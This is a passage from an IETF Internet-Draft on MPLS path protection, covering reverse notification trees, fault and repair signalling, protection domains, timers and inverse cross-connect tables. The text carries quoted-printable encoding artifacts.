to inter-work with protection mechanis= ms=20 at other layers. Some of the key features of the protection=20 mechanism are:=20 =20 -- Special tree structure to efficiently distribute fault and/or=20 recovery information.=20 =20 Existing published proposals for MPLS recovery have not addressed=20 the issue of fault notification in detail. Specifically, none of=20 these proposals has discussed how to perform fault notification fo= r=20 the label merging case. In this draft, we propose a new fault=20 notification structure called the reverse notification tree (RNT),= =20 which makes fault notification efficient and scalable (we provide=20 details of the RNT in subsequent sections).=20 =20 -- Lightweight notification mechanism.=20 =20 The lack of MPLS OAM functionality requires the definition of a=20 lighweight stateless notification mechanism. Reliable transport=20 mechanisms, such as TCP, are typically state-oriented and therefor= e=20 difficult to scale. It is also very difficult to support point-to- multipoint communications based on reliable transport mechanisms. = In=20 our scheme, therefore, we use a stateless notification mechanism t= o=20 achieve scalability. The notification is based on the transmission= =20 of packets that are sent periodically until the nodes responsible=20 for switchover learn of the fault. Since no acknowledgements or=20 =20 Chang et al. Expires January 2001 [Page 4= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0=20 handshaking between adjacent nodes is needed, the mechanism works=20 only with timers and does not require the maintenance of state. =20 =20 --Minimize delays of a recovery cycle. =20 =20 An objective of the mechanism proposed in this draft is to minimiz= e=20 the duration of the recovery cycle. Thus a stateless transport=20 mechanism together with high priority for control traffic minimize= s=20 notification delay. Likewise, a simple label merging approach to=20 handle the traffic arriving on the working and protection paths=20 eliminates the need for synchronization (or handshaking) between t= he=20 LSRs at the two ends of a recovery path. =20 =20 -- Work at the MPLS layer (that is, use information available to t= he=20 MPLS signaling and routing modules at the nodes)=20 =20 The mechanism is designed to operate using only MPLS constructs an= d=20 the knowledge available to the MPLS modules at the nodes. Therefor= e,=20 the mechanism assumes, by default, that the working and protection= =20 paths merge at a path merge LSR (PML) within the domain under=20 consideration. However, since the mechanism does not depend on the= =20 path selection method, it also works in settings where a PML does=20 not exist, and a path selection algorithm (outside the scope of th= is=20 I-D) determines that the working and protection paths must termina= te=20 at different egress LSRs. Note, however, that for the path selecti= on=20 mechanism to be able to make this determination, it may need=20 knowledge beyond that which is commonly available to the MPLS=20 modules at a node. This is because determining whether a working=20 path can be protected by another path with a different egress LSR=20 requires Layer 3 knowledge to ascertain whether the LSR terminatin= g=20 the recovery path is acceptable. In the remainder of this document= ,=20 we will focus on the PML case, with the understanding that the non= - PML case is also supported.=20 =20 In addition to the key features outlined above, some other=20 characteristics of the mechanism are:=20 =20 -- A liveness message to detect faults.=20 =20 Although fault detection is outside the scope of this draft, we wi= ll=20 allow the existence of a generic =91=91liveness=92=92 message that= can=20 complement any fault detection mechanism. This liveness message ma= y,=20 for example, be provided as part of an user/control plane OAM=20 function, or by an existing Hello message (as the RSVP "Hello" =20 message) with an appropriately set timer value. We do not define=20 specific liveness mechanisms in this draft, deferring instead to=20 work on OAM in MPLS, which is where we expect such a liveness=20 message to be defined.=20 =20 Our assumption is that faults fall into different classes, and tha= t=20 different faults may be detected and corrected by different layers= .=20 Some faults (for example, the loss of signal or transmitter faults= )=20 may be detected and corrected by lower layer mechanisms (such as=20 SONET), while others (for example, failure of the reverse link) ma= y=20 =20 Chang et al. Expires January 2001 [Page 5= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0=20 be detected (but may not be corrected) by lower layers and may be=20 communicated to the MPLS layer. Still other faults (such as node=20 failures or faults on the reverse link) may not be detected by low= er=20 layers, and will have to be detected and corrected at the MPLS=20 layer. Therefore, we adopt the liveness message as a complementar= y=20 fault detection mechanism.=20 =20 We note that in this draft we confine our discussion of protection= =20 to a single MPLS domain, and do not consider protection/recovery=20 across multiple MPLS domains or across multiple administrative=20 boundaries. We note, however, that protection mechanisms in=20 different domains may be concatenated, and that (at least initiall= y)=20 these mechanisms may work autonomously, across the (possibly)=20 multiple points of attachment between two adjacent domains. Howeve= r,=20 coordination of protection mechanisms across multiple domains or=20 across multiple transport technologies is currently out of the sco= pe=20 of this document.=20 =20 4.0 Core MPLS Path Protection Components=20 =20 This document assumes the terminology given in[1], [2], [3] , and=20 introduces some additional terms. For the convenience of the reade= r,=20 we repeat here some of the terminology from earlier documents.=20 =20 Working Path=20 The protected path that carries traffic before the occurrence of a= =20 fault. The working path is the part of the LSP between the PSL and= =20 the PML (if any) or, in the absence of a PML, between the PSL and = an=20 egress LSR. A working path is denoted by the sequence of LSRs=20 through which it passes. For example, in Fig. 1, the working path=20 that starts at LSR 1 and terminates at LSR 7 is denoted by (1-2-3-= 4- 6-7).=20 =20 Recovery Path=20 The path by which traffic is restored after the occurrence of a=20 fault. In other words, the path along which traffic is directed by= =20 the recovery mechanism. The recovery path can either be an=20 equivalent recovery path and ensure no reduction in quality of=20 service or be a limited recovery path and thereby not guarantee th= e=20 same quality of service (or some other criteria of performance) as= =20 the working path. A recovery path is also denoted by the sequence = of=20 LSRs through which it passes. Again, in Fig. 1, the recovery path=20 that starts at LSR 1 and terminates at LSR 7 is denoted by (1-5-7)= .=20 =20 Path Switch LSR (PSL)=20 An LSR that is the transmitter of both the working path traffic an= d=20 its corresponding recovery path traffic. The PSL is responsible fo= r=20 switching of the traffic between the working path and the recovery= =20 path. The PSL is the origin of the recovery traffic, but may or ma= y=20 not be the origin of the working traffic (that is the working path= =20 may be transiting the PSL).=20 =20 Path Merge LSR (PML)=20 =20 =20 Chang et al. Expires January 2001 [Page 6= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0=20 An LSR that receives both working path traffic and its correspondi= ng=20 recovery path traffic, and either merges their traffic into a sing= le=20 outgoing path, or, it is itself the destination, passes the traffi= c=20 on to the higher layer protocols. The PML is the destination of th= e=20 recovery path but may or may not be the destination of the working= =20 path.=20 =20 Intermediate LSR=20 An LSR on a working or recovery path that is neither a PSL nor a P= ML=20 for that path.=20 =20 FIS (Fault Indication Signal)=20 A signal that indicates that a fault along a path has occurred. It= =20 is relayed by each intermediate LSR to its upstream or downstream=20 neighbor, until it reaches an LSR that is set up to perform MPLS=20 recovery.=20 =20 FRS (Fault Recovery Signal)=20 A signal that indicates that a fault along a path has been repaire= d.=20 Like the FIS, it is relayed by each intermediate LSR to its upstre= am=20 or downstream neighbor, until it reaches an LSR that performs a=20 switchback to the path for which the FIS was received.=20 =20 Liveness Message=20 A generic name for any message exchanged periodically between two=20 adjacent LSRs that serves as a link probing mechanism. It provides= =20 an integrity check of the forward and backward directions of the=20 link between the two LSRs as well as a check of neighbor liveness.= =20 =20 Path Continuity Test=20 A test that verifies the integrity and continuity of a path or a=20 path segment. The details of such a test are beyond the scope of=20 this draft. (This could be accomplished, for example, by sending a= =20 control message along the same links and nodes as those traversed = by=20 the data traffic.)=20 =20 =20 4.1 Reverse Notification Tree=20 =20 Since LSPs are unidirectional entities and recovery requires the=20 notification of faults to the LSR(s) responsible for switchover to= =20 the recovery path, a mechanism must be provided for the fault=20 indication and the fault repair notification to travel from the=20 point of occurrence of the fault back to the PSL(s). The situation= =20 is complicated in the following two cases:=20 =20 (i) Physically merged LSPs: With label merging multiple working=20 paths may converge to form a multipoint-to-point tree, with th= e=20 PSLs as the leaves. In this case, therefore, the fault=20 indication and -repair notification should be able to travel=20 along a reverse path of the working path to all the PSLs=20 affected by the fault. For example, in Fig. 1, for a fault alo= ng=20 link 34 the affected PSLs are 1 and 9, where as for a fault=20 along link 23, the only affected PSL is 1.=20 =20 Chang et al. Expires January 2001 [Page 7= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0=20 =20 (ii) Virtually merged LSPs: When several LSPs originating at=20 different LSRs share a common segment beyond some node, and=20 share a common identifier (such as the SESSION ID in RSVP-TE)= ,=20 we call such LSPs virtually merged. In this case also, saving= s=20 in notification can be realized by sending a single=20 notification towards the affected PSLs along segments shared = by=20 the LSPs emanating from these PSLs, and allowing the=20 notification to branch out at the merge node(s). For example,= =20 in Fig. 1, for a failure along link 67 a single notification=20 could be sent for working paths 1-2-3-4-6-7 and 8-9-3-4-6-7=20 along their common segment 7-6-4-3. The notification would=20 branch out at node 3, which is the node where the LSP from no= de=20 1 to node 7 and the LSP from node 8 to node 7 merge.=20 =20 In both the cases above, an appropriate notification path can be=20 provided by the reverse notification tree (RNT which is a point-to= - multipoint tree that is an exact mirror image of the converged=20 working paths, along which the FIS and the FRS travel. (see Fig.=20 1). There are several advantages to using an RNT:=20 =20 -- The RNT can be established in association with the working=20 path(s), simply by making each LSR along a working path remembe= r=20 its upstream neighbor (or the collection of upstream neighbors=20 whose working paths converge at the LSR and exit as one). Thus,= =20 no multicast routing is required. We elaborate more on the RNT = in=20 Section 3.=20 =20 -- Only one RNT is required for all the working paths that merge=20 (either physically or virtually) to form the multipoint-to-poin= t=20 forward path. The RNT is rooted at an appropriately chosen LSR=20 along the common segment of the merged working LSPs and is=20 terminated at the PSLs. All intermediate LSRs on the converged=20 working paths share the same RNT.=20 =20 Therefore, the RNT enables a reduction in the signaling overhead=20 associated with recovery. Unlike schemes that treat each LSP=20 independently, and require signaling between a PSL and the PML=20 individually for each LSP, the RNT allows for only one (or a smal= l=20 number of) signaling messages on the shared segments of the LSPs.=20 =20 -- The RNT can be implemented either at Layer 3 or at Layer 2. In=20 either case, the delay along the RNT needs to be carefully=20 controlled. This may be ensured by giving the highest priority = to=20 the fault and repair notification packets, which travel along t= he=20 RNT.=20 =20 =20 Chang et al. Expires January 2001 [Page 8= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0=20 =20 =20 PML=20 +----+ L[11,13] +----+ +----+=20 | 11 |------+ +=3D=3D=3D=3D=3D=3D| 14 |=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D| 15 |=20 | | | || | | P[14,15] | |=20 +----+ | || +----+ +----+=20 | || | :=20 +----+ ||P[13,14] | |=20 | 13 |=3D=3D=3D=3D=3D=3D+ = | :=20 PSL | |-------+ | |=20 +----+<-..-: | | :=20 | | | | |=20 L[12,13]| : |L[13,5] | :=20 +----+ | +----+ L[5,15] | |=20 | 12 |------+ | |-----------------------------------+ :=20 | | +=3D=3D=3D| 5 |<-.-..-..-..-..-..-..-..-..-..-..-..= -+=20 +----+ || | |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D+= =20 P[1,5] || +----+ P[5,7] ||=20 +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D+ = ||=20 || ||=20 || ||=20 +----+ +----+ L[2,3] L[4,6] +----+ L[6,7] +----+=20 | 1 |----| 2 |--------+ +-------| 6 |----------| 7 |=20 | |<.-.| |<-..-+ | | +-..-<| |<-..-..-..| |=20 +----+ +----+ N32 : |I23 | : +----+ +----+=20 PSL | | | | PML ||=20 : | | : ||=20 | | | | ||=20 : | L[3,4] | : ||=20 +----+ I34 +----+ || = =20 | 3 |--------| 4 | P[10,7]||=20 | |<-..-..-| | ||=20 +----+ N43 +----+ || = =20 I93 | | ||=20 | : ||=20 | |N39 ||=20 | : ||=20 +----+ +----+ | | +----+ ||=20 | 8 |-----| 9 |----+ : | 10 |=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D+ =20 | | | |<-..-.+ P[9,10] | |=20 +----+ +----+=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D+----+ =20 PSL=20 Legend:=20 --- =3D Working path=20 =3D=3D=3D =3D Protection path=20 -..- =3D Reverse Notification Tree=20 ---- =3D Working path=20 L[x,y] =3D Working path link between nodes x and y.=20 P[x,y] =3D Protection path link between nodes x and y.=20 Lxy =3D Label used by the LSP traversing link L[x,y] from x to = y. =20 Nxy =3D Label used for RNT traffic sent from node x to node y.=20 Ixy =3D Interface between nodes x and y. =20 =20 Figure 1: Illustration of MPLS protection configuration=20 =20 Chang et al. Expires January 2001 [Page 9= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0 4.2 Protection Domain =20 =20 A protection domain is defined as the set of LSRs over which a=20 working path and its corresponding recovery path are routed. Thus= ,=20 a protection domain is bounded by the LSRs that provide the=20 switching and (if needed) the merging functions for MPLS protectio= n,=20 namely, the PSL and the PML (if present), respectively.=20 In other words, a protection domain in bounded by the PSL at one=20 end, and by the LSRs that form the end of the working or protectio= n=20 path at the other. In general, if the working and protection paths= =20 do not merge within the MPLS domain, the LSRs at the end of the=20 working and protection paths may be egress LSRs. The PSL and the P= ML=20 (alternatively, the end points of the working and protection paths= =20 within the MPLS domain under consideration) are identified during=20 the setting up of an LSP, either via an offline algorithm or by an= =20 algorithm that runs at the head-end of an LSP to decide the specif= ic=20 nodes that the LSP must pass through. (Note that segments of the L= SP=20 between the PSL and the PML may be loosely routed, as long as the=20 PSL and PML are known). Recovery should ideally be performed betwe= en=20 the source and destination (end-to-end), but in some cases segment= =20 recovery may be desired (for example, when certain segments are mo= re=20 unreliable than others) or may be the only option (due to the=20 topology of the network, see Fig. 1). For example, in Fig. 1, the=20 working path 8-9-3-4-6-7, can only have protection on the segment = 9- 3-4-6-7.=20 =20 Note that when multiple LSPs merge into a single LSP or when=20 multiple LSPs that share a common identifier follow the same path=20 beyond some node, the working paths corresponding to these LSPs al= so=20 converge. As explained in Section 4.4, an RNT can be used in this=20 case for propagating the failure and repair notification back to t= he=20 concerned PSL(s). We can therefore have a situation where differen= t=20 protection domains share a common RNT. A protection domain is=20 denoted by specifying the working path and the recovery path. For=20 example, in Fig. 1, the protection domain bounded by LSR 1 and LSR= =20 7, is denoted by (1-2-3-4-6-7, 1-5-7). =20 =20 4.2.1 Relationship between protection domains with different RNTs=20 =20 When protection domains have different RNTs, two cases may arise,=20 depending on whether or not any portions of the two domains overla= p,=20 that is, have nodes or links in common. If the protection domains = do=20 not overlap, the protection domains are independent (note that by=20 virtue of the RNTs in the two domains being different, neither the= =20 working paths nor the RNTs in the two domains can overlap). In oth= er=20 words, failures in one domain do not interact with failures in the= =20 other domain. For example, the protection domain defined by (9-3-4= - 6-7, 9-10-7) is completely independent of the domain defined by (1= 1- 13-5-15, 11-13-14-15). As a result, as long as faults occur in=20 independent domains, the network shown in Fig. 1 can tolerate=20 multiple -faults (for example, simultaneous failures on the workin= g=20 path in each domain).=20 =20 If protection domains with disjoint RNTs overlap, it implies that=20 the protection path of one intersects the working path of the othe= r.=20 Therefore, although failures on the working paths of the two domai= ns=20 =20 Chang et al. Expires January 2001 [Page 10= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0=20 do not affect one another, failures on the protection path of one=20 may affect the working path of the other and visa versa. For=20 example, the protection domain defined by (1-2-3-4-6-7, 1-5-7) is=20 not independent of the domain defined by (11-13-5-15, 11-13-14-15)= =20 since LSR 5 lies on the protection path in the former domain and o= n=20 the working path in the latter domain. =20 =20 4.2.2 Relationship between protection domains with the same RNT=20 =20 When protection domains have the same RNT, different failures alon= g=20 the working paths may affect both paths differently. As shown in=20 Fig. 1, for example, working paths 1-2-3-4-5-7 and 9-3-4-6-7 share= =20 the same RNT. As a result, for a failure on some segments of the=20 working path, both domains will be affected, resulting in a=20 protection switch in both (for example, the segment 3-4-6-7 in Fig= .=20 1). Likewise, for failures on other segments of the working path,=20 only one domain may be affected (for example, failure on segment 2= -3=20 affects only the first working path 1-2-3-4-6-7, where as failure = on=20 the segment 9-3 affects only the second working path 9-3-4-6-7).=20 =20 4.3 Multiple Faults=20 =20 We note that transferring the working traffic to the recovery path= =20 is enough to take care of multiple faults on the working path.=20 However, if multiple faults happen such that there is at least one= =20 failure on both the working and recovery paths, MPLS layer recover= y=20 may no longer suffice. In this case, the network will either have = to=20 allow for Layer 3 rerouting or have the PSL inform the administrat= or=20 via an alarm, thus enabling the manual reconfiguration of a=20 different working and backup path. (An OAM functionality could=20 greatly simplify such communication.) Note that for a PSL to be ab= le=20 to generate an alarm, it must also have a mechanism for detecting=20 faults on the recovery path, such as a RNT for the recovery path (= to=20 allow for the fault notification on the recovery path to be=20 propagated to the PSL).=20 =20 Chang et al. Expires January 2001 [Page 11= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0 =20 =20 4.4 Timers and Thresholds=20 =20 For its proper operation, the protection mechanism described in th= is=20 contribution uses the following timers and thresholds:=20 =20 Timer or Sym Function=20 Threshold bol=20 Inter FIS t1 Interval at which successive FIS packets are= =20 packet timer transmitted by a LSR to its upstream=20 neighbor.=20 Max. FIS t2 Max. time for which FIS packets are=20 duration timer transmitted by an LSR to its upstream peer.=20 Inter FRS t1=92 Interval at which successive FRS packets a= re=20 packet timer sent by a LSR to its upstream neighbor.=20 Max. FRS t2=92 Max. time for which the FRS packets are se= nt=20 duration timer by an LSR to its upstream neighbor.=20 Liveness msg. t4 Interval at which successive liveness=20 sender timer messages are sent by an LSR to peer LSRs tha= t=20 have a working path (and RNT) through this=20 LSR.=20 Liveness msg. t4' A timer set to count down the interval at th= e=20 receiver end of which a liveness message should be=20 timeout timer received.=20 Hold-off Timer t5 Interval between the detection of a failure=20 [3] at an LSR, and the generation of the first=20 FIS message, to allow time for lower layer=20 protection to take effect.=20 Wait-to-Restore T6 Interval between the detection of a=20 Timer [3] recovery/failure at an LSR, and the=20 generation of the first FRS message, to allo= w=20 time for the stability of restoration.=20 Lost liveness K No. of liveness messages that can be lost=20 message before an LSR will declare a fault and=20 threshold generate the first FIS.=20 =20 Chang et al. Expires January 2001 [Page 12= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0 =20 =20 5.0 Configuration=20 =20 In the following sections, we describe the operation of the path=20 protection mechanism, and explain the various steps involved with=20 reference to Fig. 1.=20 =20 Protection configuration consists of two aspects: establishing the= =20 protection domain and creating the reverse notification tree. The=20 protection domain configuration involves either configuring the=20 working and protection path pair or the protection path of an=20 established working path. These aspects are discussed in this=20 section. =20 =20 5.1 Establishing a Protection Domain=20 =20 The label distribution protocol encompasses negotiations in which=20 two label distribution peers engage in order to learn of each=20 other's MPLS capabilities. The label distribution protocol is used= =20 to establish a protection domain via signaling. The protection=20 domain consists of a working path and a recovery/protection path=20 pair. MPLS defines two methods for label distribution, Label=20 Distribution Protocol (LDP/CR-LDP) and ReSerVation Protocol (RSVP)= .=20 Our mechanism is designed to work with either of these label=20 distribution protocols.=20 =20 LDP/CR-LDP and RSVP allow the path to be setup loosely (each node=20 determines it=92s next hop) or explicitly (each node has been give= n=20 it=92s next hop). We assume that protection paths will be setup=20 explicitly, however there is no requirement for this. These=20 protocols are being extended to provide a mechanism by which=20 protection establishment can be signaled and created. The=20 funtionality being introduced is:=20 =20 -- Explicit Route Protection information to identify the PSL and= =20 PML, and thus the protection domain.=20 =20 -- Path Protection information to configure the nodes in the=20 protection domain.=20 =20 The establishment of the protection domain requires the=20 identification of the working path and the protection path. There=20 are two separate cases to consider: non-merged (point-to-point) an= d=20 merged (multipoint-to-point). The working and protection paths for= =20 RSVP/CR-LDP are identified as follows:=20 =20 Non-merged:=20 =20 -- RSVP: Same Sender Template (IP tunnel sender IP address,=20 LSPID)=20 =20 -- Cr-LDP: Same LSPID TLV (Ingress LSR Router ID and Local CR-LS= P=20 ID)=20 =20 =20 Merged:=20 =20 Chang et al. Expires January 2001 [Page 13= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0=20 -- RSVP: Same session object (IP tunnel end point address and=20 Tunnel ID)=20 =20 -- Cr-LDP: Same FEC TLV (Host Address and Prefix)=20 =20 5.1.1 Explicit Route Protection Information=20 =20 In order to identify the PSL, PML, and the nodes between the PSL a= nd=20 PML that make up a protection domain, anExplicit Route Protection=20 fieldhas been added to the Explicit Route Field of CR-LDP and RSV= P- TE [8][9]. The Explicit Route Protection field will first appear=20 when the configuration message reaches the PSL. This denotes the=20 start of a protection domain. When the PSL processes the Explicit=20 Route Protection field, it will modify the configuration message=20 with a Path Protection Field that is directly derived from the=20 Explicit Route Protection Field and then forwards the configuratio= n=20 message. =20 =20 The configuration message will continue along the path until the=20 second Explicit Route Protection Field is evaluated at the PML. Th= is=20 denotes the end of the protection domain. When the PML processes t= he=20 Explicit Route Protection Field, it will remove the Path Protectio= n=20 Field from the configuration message and then forward the message.= =20 This same process would be perfomed for each protection domain alo= ng=20 the configuration message path. For path protection it is critical= =20 to identify the PSL,PML, and nodes within the protection domain. T= he=20 following attributes are specified in this field. =20 =20 1. The Router ID of the PSL or PML;=20 2. Whether the node processing the Explicit Route Protection fie= ld=20 at the current hop is a PSL or PML; =20 3. What the protection type is 1+1, 1:1, etc.;=20 4. Whether this is the configuration message for the working or=20 protection path;=20 5. If the protection path resources can be used for extra traffi= c=20 becides the protected traffic;=20 6. Whether the RNT is implemented as a Hop-by-hop (Layer 3) LSP,= =20 as an MPLS (Layer 2) LSP, or over SONET K1/K2 bytes;=20 7. What to configure the hold-off and wait-to-restore timers; an= d=20 8. If the protection switching action is revertive.=20 =20 For example, the Explicit Route Field of the configuration message= =20 might look like the following:=20 =20 Ipv4 Address A=20 Ipv4 Address B=20 Explicit Route Protection (PSL, Router ID =3D current hop Ipv4=20 Router ID B)=20 Ipv4 Address C=20 Ipv4 Address D =20 Ipv4 Address E =20 Ipv4 Address F =20 Explicit Route Protection (PML, Router ID =3D current Hop Ipv4=20 Router ID F) Ipv4 Address G =20 Chang et al. Expires January 2001 [Page 14= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0=20 =20 Denotes the Explicit Route path of two Ipv4 hops (A and B) with th= e=20 second Ipv4 (B) hop identified as the PSL by the presence of the=20 Explicit Route Protection field. The PSL signifies the beginning o= f=20 the protection domain and as such creates the Path Protection Fiel= d=20 in the configuration message and forwards the message to the next=20 hop. =20 =20 The configuration message continues for four more hops with the=20 nodes processing the Path Protection Field. The fourth IPv4 (F)hop= =20 is identified as the PML by the presence of the Explicit Route=20 Protection field. The PML signifies the end of the protection doma= in=20 and as such removes the Path Protection Field from the configurati= on=20 message prior to forwarding the message to the last hop. This=20 process could continue if other protection domains are present aft= er=20 the PML.=20 =20 5.1.2 Path Protection Information=20 =20 The Path Protection specifies whether path protection is activated= , =20 identifies whether the path is the working path or protection path= ,=20 and configures each node with in the protection domain[8][9]. The= =20 PSL node learns during a working/protection path configuration=20 process, which working and protection paths are coupled together.=20 The PML node learns during a working/protection path configuration= =20 process, which working and protection paths are merged to the=20 outgoing network switch element. The PSL/PML pair constitute a=20 protection domain.=20 =20 The attributes required to establish the Protection Domain are=20 defined in the framework[3]:=20 =20 1 RNT Type: Specifies whether the RNT is implemented as a Hop-b= y- hop (Layer 3) LSP, as an MPLS (Layer 2) LSP, or over SONET=20 K1/K2 bytes.=20 2 Timer Options: Specifies the hold-off and wait-to-restore tim= e=20 requirements.=20 3 Revertive Option: Specifies whether the recovery action is=20 revertive.=20 =20 5.2 Establishing a Protection/Recovery Path=20 The establishment of the recovery path requires the identification= =20 of the working path. There are two separate cases to consider: no= n- merged (point-to-point) and merged (point-to-multipoint). For path= =20 protection mechanisms, the working and protection paths for are=20 identified as follows:=20 =20 Non-merged:=20 =20 -- RSVP: Same Sender Template (IP tunnel sender IP address,=20 LSPID)=20 =20 Chang et al. Expires January 2001 [Page 15= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0=20 -- Cr-LDP: Same LSPID TLV (Ingress LSR Router ID and Local CR-LS= P=20 ID)=20 =20 Merged:=20 =20 -- RSVP: Same session object (IP tunnel end point address and=20 Tunnel ID)=20 =20 -- Cr-LDP: Same FEC TLV (Host Address and Prefix)=20 =20 =20 The Explicit Route Protection Field would only carry the protectio= n=20 path configuration information. The configuration of the protectio= n=20 path would be identical to the description provided in 5.1 for the= =20 protection path.=20 =20 In most cases, the working path and its corresponding recovery pat= h=20 would be specified during LSP setup, either via a path selection=20 algorithm (running at a centralized location or at an ingress LSR)= =20 or via administrative configuration. Observe that the specificatio= n=20 of the path, does not, strictly speaking, require the entire path = to=20 be explicitly specified. Rather, it requires only that the PSL and= =20 PML (or in the absence of a PML, the path egress points out of the= =20 MPLS domain) be specified, with the segments between them being=20 loosely routed, if required. In other words, the path would be=20 established between the two nodes at the boundaries of the=20 protection domain via (possibly loose) explicit (or source) routin= g=20 using LDP [4], [5] /RSVP [6], [7] signaling (alternatively, via=20 constraint-based routing, or using manual configuration). =20 =20 5.3 Creating the RNT=20 =20 The RNT is used for propagating the FIS and the FRS, and can be=20 created by a simple extension to the LSP setup process. Note: An=20 MPLS OAM notification is preferable and could make use of the RNT.= =20 During the establishment of the working path, the signaling messag= e=20 carries with it the identity (address) of the upstream node that=20 sent it (for example, via the path attribute in RSVP). Each LSR=20 along the path simply remembers the identity of its immediately=20 prior upstream neighbor on each incoming link. Through the neighbo= r=20 discovery mechanism of the routing protocol, each LSR finds the=20 interface connecting it to the upstream LSRs. (It is assumed in th= is=20 draft that there is a bi-directional connection between two=20 neighboring LSRs, such as a bi-directional SONET link, a bi- directional lower layer network link (e.g., an ATM VP), or a pair = of=20 bi-directional tunnels over an IP subnetwork.) The node then creat= es=20 an =91=91inverse=92=92 cross-connect table that for each protected= outgoing=20 LSP maintains a list of the incoming LSPs that merge into that=20 outgoing LSP, together with the identity of the upstream node and=20 incoming interface that each incoming LSP comes through. Upon=20 receiving an FIS, an LSR extracts the labels contained in it (whic= h=20 are the labels of the protected LSPs that use the outgoing link th= at=20 the FIS was received on) and checks whether the current LSR is the= =20 PSL for that LSP. If it is it terminates the FIS. Otherwise, it=20 =20 Chang et al. Expires January 2001 [Page 16= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0=20 consults its inverse cross-connect table to determine the identity= =20 of the upstream nodes that the protected LSPs come from, and creat= es=20 and transmits an FIS to each of them. =20 =20 Therefore, based on whether the RNT is implemented at Layer 3 or=20 Layer 2, two cases arise:=20 =20 If the RNT is implemented by a point-to-multipoint LSP, then the=20 working path can be bound to the ingress label and interface of th= e=20 RNT LSP at a LSR. Note that the RNT only be a point-to-multipoint=20 LSP in the case of mergeing, otherwise the RNT is implemented as a= =20 point-to-point LSP. The ingress label and interface can then be us= ed=20 as an index into the "inverse" cross-connect table to find the=20 egress labels and interfaces of the RNT LSP as shown in Table 2.=20 Upon receiving an FIS, an LSR extracts the labels and checks wheth= er=20 it is the PSL for that LSP. If it is, it terminates the FIS.=20 Otherwise, it consults its inverse cross-connect table to determin= e=20 the outgoing labels and interfaces, performs a label swap and=20 forwards the FIS to the appropriate upstream node(s). For example,= =20 consider Figure 1, and assume that a Layer 2 point-to-multipoint=20 RNT, rooted at LSR 7 and extending to LSRs 1 and 9, is bound to th= e=20 multipoint-to-point forward paths starting at LSRs 1 and 8 and=20 terminating at LSR 7. Now in case of a fault on link L[4,6], LSR 3= =20 receives an FIS on the RNT in a labeled packet with label N43. It=20 uses this label as an index into its inverse cross-connect table,=20 and learns that there are two previous nodes (namely those reachab= le=20 via interfaces I23 and I93 respectively) that the FIS needs to be=20 forwarded to. It encapsulates the received FIS into a labeled=20 packets with labels N32 and N39, and dispatches them along=20 interfaces I23 and I93 respectively.=20 =20 Ingress Ingress Egress Egress Egress Egress=20 Label of Interface Label of Interface Label of Interface=20 RNT of RNT RNT of RNT RNT of RNT=20 N43 I34 N32 I23 N39 I93=20 =20 Table 2. An example inverse cross-connect table for LSR 3 using MP= LS=20 (Layer 2) RNT =20 =20 If the RNT is implemented by a hop-by-hop Layer 3 mechanism, using= ,=20 for example, UDP packets (with a specific port number to identify=20 notification message type), then the egress label and interface of= =20 the working path can be used as an index into the inverse cross- connect table to obtain the IP addresses of the previous hop(s) an= d=20 the associated outgoing interface(s), as illustrated in Table 3. O= n=20 each hop, the FIS carried in the UDP packet carries the label and=20 interface of the working path for that hop. Thus, if the receiving= =20 node is not a PSL, the label and interface in the FIS can be=20 extracted and can be used to access the inverse cross-connect tabl= e.=20 The label and interface used by the working LSP on the hop(s) to t= he=20 upstream node(s) are then inserted into FIS packet(s), and the FIS= =20 =20 Chang et al. Expires January 2001 [Page 17= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0=20 packet(s) transmitted to the appropriate upstream node(s) along th= e=20 interface specified the inverse cross-connect table. Therefore, in= =20 the hop-by-hop mechanism the FIS packets are not forwarded by a no= de=20 to its previous hops using its default layer 3 forwarding table.=20 Rather, these packets are forwarded via the outgoing interface=20 extracted from the node=92s inverse cross-connect table. As in the= =20 example above, in case of a fault on link L[4,6], LSR 3 receives a= n=20 FIS from LSR 4 that contains the outgoing label L34 and the outgoi= ng=20 interface I34 of the LSP affected by the fault. LSR3 uses these to= =20 index its inverse cross-connect table (see Table 3), and learns, a= s=20 before, that there are two previous nodes (those reachable via=20 interfaces I23 and I93, respectively) that must receive an FIS. It= =20 then creates two FIS packets as follows. The first, for transmissi= on=20 along interface I23, contains the label L23 used by LSR 2 to=20 transmit data to LSR 3 along the working LSP. The second, for=20 transmission along interface I93, contains the label L93 used by L= SR=20 9 to transmit data to LSR 3 along the working LSP. =20 =20 Egress Egress Next Hop Egress Ingress=20 Label of Interface IP Interface Label of=20 Working of Address of RNT working=20 Path Working of RNT path=20 Path=20 L34 I34 I9 I93 L93=20 I2 I23 L23 =20 =20 Table 3. An example inverse cross-connect table for LSR 3 using a=20 hop-by-hop (Layer 3) RNT=20 =20 =20 The roles of the various core protection/recovery components are:=20 =20 PSL: The PSL must be able to correlate the RNT with the working an= d=20 recovery paths. To this end, it maintains a table with a list of=20 working LSPs protected by an RNT, and the identity of the recovery= =20 LSPs that each working path is to be switched to in the event of a= =20 failure on the working path. It need not maintain an inverse cross= - connect table (for those LSPs and working paths for which it is th= e=20 